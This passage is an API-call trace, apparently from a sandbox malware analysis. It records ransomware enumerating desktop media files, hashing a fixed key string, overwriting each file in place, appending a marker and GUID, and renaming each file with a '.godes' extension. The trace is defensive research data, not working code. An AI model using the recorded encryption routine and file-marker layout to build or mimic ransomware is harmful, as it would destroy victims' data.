[0113.701] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.701] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.701] GetLastError () returned 0x0 [0113.701] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.701] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8a0) returned 0x3321120 [0113.701] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.701] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xa890, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xa890, lpOverlapped=0x0) returned 1 [0113.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.702] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.702] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.702] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.702] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.702] CloseHandle (hObject=0x624) returned 1 [0113.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\FDSheH9RWpg6rD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\fdsheh9rwpg6rd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\FDSheH9RWpg6rD.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\fdsheh9rwpg6rd.mp3.godes")) returned 1 [0113.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.703] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.704] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2da0f0, ftCreationTime.dwHighDateTime=0x1d4cee3, ftLastAccessTime.dwLowDateTime=0x8dd463b0, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0x8dd463b0, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x6f76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="km4Z_piC-Thg5BA.mkv", cAlternateFileName="KM4Z_P~1.MKV")) returned 1 [0113.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\km4Z_piC-Thg5BA.mkv") returned=".mkv" [0113.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\km4Z_piC-Thg5BA.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\km4z_pic-thg5ba.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.705] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=28534) returned 1 [0113.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.706] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6f50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.706] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.708] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.708] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x6f76, lpOverlapped=0x0) returned 1 [0113.708] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.709] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.709] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.709] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.709] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.709] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.709] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.709] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.709] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.709] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.709] GetLastError () returned 0x0 [0113.710] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.710] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6f80) returned 0x3321120 [0113.710] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.710] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x6f71, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x6f71, lpOverlapped=0x0) returned 1 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.710] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6f76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.710] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.710] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.710] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.710] CloseHandle (hObject=0x624) returned 1 [0113.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\km4Z_piC-Thg5BA.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\km4z_pic-thg5ba.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\km4Z_piC-Thg5BA.mkv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\km4z_pic-thg5ba.mkv.godes")) returned 1 [0113.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.712] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.713] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6863950, ftCreationTime.dwHighDateTime=0x1d4c70d, ftLastAccessTime.dwLowDateTime=0xb32c1310, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0xb32c1310, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0xe2c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kwu4Zgrqa-j.wav", cAlternateFileName="KWU4ZG~1.WAV")) returned 1 [0113.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.713] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\kwu4Zgrqa-j.wav") returned=".wav" [0113.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\kwu4Zgrqa-j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\kwu4zgrqa-j.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.714] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=58055) returned 1 [0113.714] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.715] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe2a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.715] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.717] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.717] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xe2c7, lpOverlapped=0x0) returned 1 [0113.718] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.718] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.718] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.718] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.718] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.719] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.719] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.719] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.719] GetLastError () returned 0x0 [0113.719] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.719] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.719] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe2d0) returned 0x3321120 [0113.719] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.719] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.719] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xe2c2, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xe2c2, lpOverlapped=0x0) returned 1 [0113.719] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.719] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.720] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.720] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.720] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.720] CloseHandle (hObject=0x624) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.721] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\kwu4Zgrqa-j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\kwu4zgrqa-j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\kwu4Zgrqa-j.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\kwu4zgrqa-j.wav.godes")) returned 1 [0113.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.722] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.723] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e6d420, ftCreationTime.dwHighDateTime=0x1d4c8ac, ftLastAccessTime.dwLowDateTime=0x5c13fa00, ftLastAccessTime.dwHighDateTime=0x1d4d3c8, ftLastWriteTime.dwLowDateTime=0x5c13fa00, ftLastWriteTime.dwHighDateTime=0x1d4d3c8, nFileSizeHigh=0x0, nFileSizeLow=0xc01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L2lRvkk38ZbjI6t.wav", cAlternateFileName="L2LRVK~1.WAV")) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\L2lRvkk38ZbjI6t.wav") returned=".wav" [0113.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\L2lRvkk38ZbjI6t.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\l2lrvkk38zbji6t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.724] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=3073) returned 1 [0113.724] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.726] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.726] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.731] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.732] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xc01, lpOverlapped=0x0) returned 1 [0113.732] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.732] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.732] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.732] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.732] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.732] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.732] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.733] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.733] GetLastError () returned 0x0 [0113.733] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.733] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc00) returned 0x3321120 [0113.733] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.733] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xbfc, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xbfc, lpOverlapped=0x0) returned 1 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.733] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, 